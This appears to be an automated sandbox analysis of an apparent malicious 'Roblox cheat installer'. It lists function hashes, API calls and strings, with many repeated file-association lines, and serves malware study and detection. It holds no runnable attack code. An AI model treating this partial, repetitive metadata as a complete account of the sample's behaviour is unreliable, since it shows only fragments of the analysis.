Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction ID: 6daa73c9cfc40e05090d29e0950614a808e74ffa52c5573c4225f1b68df362a5
Opcode Fuzzy Hash: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction Fuzzy Hash: 67E08C3291123CEBCB24DB9CD90498AF3ECEB48F01B1100D6B505E3500C270DE00CBD0

Function 00B243AC Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 825b0484f95f8aa3fa9de2913042429f620acb6fc0ba1aea453df1d5c0501ff0
Instruction ID: 959c4cc6b613ffd297cbbcab40763acb67dfea66dc0b8f4d6938408daf161bfe
Opcode Fuzzy Hash: 825b0484f95f8aa3fa9de2913042429f620acb6fc0ba1aea453df1d5c0501ff0
Instruction Fuzzy Hash: 8DC08C34001D2046CE29C910F2B13EA33D5E392782F802ADCC80B0BE42C71E9C83D601

Function 00B06350 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B06387
___except_validate_context_record.LIBVCRUNTIME ref: 00B0638F
_ValidateLocalCookies.LIBCMT ref: 00B06418
__IsNonwritableInCurrentImage.LIBCMT ref: 00B06443
_ValidateLocalCookies.LIBCMT ref: 00B06498

Strings

[8, xrefs: 00B06402, 00B0647F
csm, xrefs: 00B0642D

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: [8$csm
API String ID: 1170836740-638191527
Opcode ID: 39cffc5554aa14590873368cc0bb699e571d89e0f84d0ae2eed6e5202f9f5f72
Instruction ID: ad8ef36fb4e85b72f84b8e00c6ad99d14f157295bb2b075efb4f8128076cb8d5
Opcode Fuzzy Hash: 39cffc5554aa14590873368cc0bb699e571d89e0f84d0ae2eed6e5202f9f5f72
Instruction Fuzzy Hash: D1419330A002099BCF10DF68D885A9EBFE5EF45324F14C195F8159B3D6DB31E965CBA1

Function 00B243CE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,38E2E45B,?,?,00000000,00B4D7FB,000000FF,?,00B243A1,00000002,?,00B24375,00B1466F), ref: 00B24403
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B24415
FreeLibrary.KERNEL32(00000000,?,?,00000000,00B4D7FB,000000FF,?,00B243A1,00000002,?,00B24375,00B1466F), ref: 00B24437

Strings

[8, xrefs: 00B243E3
mscoree.dll, xrefs: 00B243FC
CorExitProcess, xrefs: 00B2440D

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$[8$mscoree.dll
API String ID: 4061214504-1273806674
Opcode ID: 2235dde3f078a1bd68abad16e57ae17b79b245864614c8fe41f59e60bcc6c648
Instruction ID: f625b9573e7c52cffb83773c2147efc7422dcca299e60582d16865f0f0f41f57
Opcode Fuzzy Hash: 2235dde3f078a1bd68abad16e57ae17b79b245864614c8fe41f59e60bcc6c648
Instruction Fuzzy Hash: F5016275940669ABDB119B54DC05FAEBBB8FB08B16F104665F821B2690DF749900CB90

Function 00B239C5 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

[8, xrefs: 00B23A87, 00B23B12, 00B23D0C

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID:
String ID: [8
API String ID: 0-2721712938
Opcode ID: ff30d8e230d31d5cdde3ba95ef402c966a6bf5622b0c19771e742586a4aa51de
Instruction ID: f3f278c6411082da125f4646c44886737dccafb0327e3e34b87812bfec59a8a7
Opcode Fuzzy Hash: ff30d8e230d31d5cdde3ba95ef402c966a6bf5622b0c19771e742586a4aa51de
Instruction Fuzzy Hash: 8DA1F372E002358FDF25AF68F8997ACB7E1EB16B10F1540A9E44D7B2A1D7398E40CB51

Function 00B02F6A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B02FAB
___raise_securityfailure.LIBCMT ref: 00B03093

Strings

[8, xrefs: 00B03074

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: [8
API String ID: 3761405300-2721712938
Opcode ID: 64d649c16ed6e8c6f25994a8446dd4fa7031026e2171dcf6af3124bc4473c21b
Instruction ID: 495fe3f95e2027d546a8fca6151223715c73acdfde9eef9bbb0c629ffc8d6002
Opcode Fuzzy Hash: 64d649c16ed6e8c6f25994a8446dd4fa7031026e2171dcf6af3124bc4473c21b
Instruction Fuzzy Hash: 9B21E0B9A182009ED326DF16E959B447BF4FB98344F14407EE505CB3A8D7B0A881DB64

Analysis Process: cheatinstaler cheatinstalerF6R54T.exePID: 816, Parent PID: 4840COMMON

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF6C16DB190 Relevance: 123.9, APIs: 60, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16B255C: GetDlgItem.USER32 ref: 00007FF6C16B25AC
Part of subcall function 00007FF6C16B255C: SetDlgItemTextW.USER32 ref: 00007FF6C16B25C8

EndDialog.USER32 ref: 00007FF6C16DB2D0
SetDlgItemTextW.USER32 ref: 00007FF6C16DB320
GetMessageW.USER32 ref: 00007FF6C16DB350
IsDialogMessageW.USER32 ref: 00007FF6C16DB369
TranslateMessage.USER32 ref: 00007FF6C16DB37B
DispatchMessageW.USER32 ref: 00007FF6C16DB389
EndDialog.USER32 ref: 00007FF6C16DB3D3
GetDlgItem.USER32 ref: 00007FF6C16DB410
IsDlgButtonChecked.USER32 ref: 00007FF6C16DB431
IsDlgButtonChecked.USER32 ref: 00007FF6C16DB449
SetFocus.USER32 ref: 00007FF6C16DB452
GetLastError.KERNEL32 ref: 00007FF6C16DB634
GetLastError.KERNEL32 ref: 00007FF6C16DB665
GetTickCount.KERNEL32 ref: 00007FF6C16DB68B
GetLastError.KERNEL32 ref: 00007FF6C16DB6F5
GetCommandLineW.KERNEL32 ref: 00007FF6C16DB841
CreateFileMappingW.KERNEL32 ref: 00007FF6C16DB900
MapViewOfFile.KERNEL32 ref: 00007FF6C16DB923
Sleep.KERNEL32 ref: 00007FF6C16DB9B6
UnmapViewOfFile.KERNEL32 ref: 00007FF6C16DB9DF
CloseHandle.KERNEL32 ref: 00007FF6C16DB9E8
SetDlgItemTextW.USER32 ref: 00007FF6C16DBCDE
DialogBoxParamW.USER32 ref: 00007FF6C16DC0D7
EndDialog.USER32 ref: 00007FF6C16DC0EF
EnableWindow.USER32 ref: 00007FF6C16DC2A6
IsDlgButtonChecked.USER32 ref: 00007FF6C16DC2F8
ShellExecuteExW.SHELL32 ref: 00007FF6C16DB95B

Part of subcall function 00007FF6C16CAAE0: LoadStringW.USER32 ref: 00007FF6C16CAB67
Part of subcall function 00007FF6C16CAAE0: LoadStringW.USER32 ref: 00007FF6C16CAB80

IsDlgButtonChecked.USER32 ref: 00007FF6C16DBEC3
SendDlgItemMessageW.USER32 ref: 00007FF6C16DBEEA
GetDlgItem.USER32 ref: 00007FF6C16DBEF8
IsDlgButtonChecked.USER32 ref: 00007FF6C16DBF12
GetDlgItem.USER32 ref: 00007FF6C16DBF4F
SetDlgItemTextW.USER32 ref: 00007FF6C16DBFEC
SetDlgItemTextW.USER32 ref: 00007FF6C16DC004
SetDlgItemTextW.USER32 ref: 00007FF6C16DC321
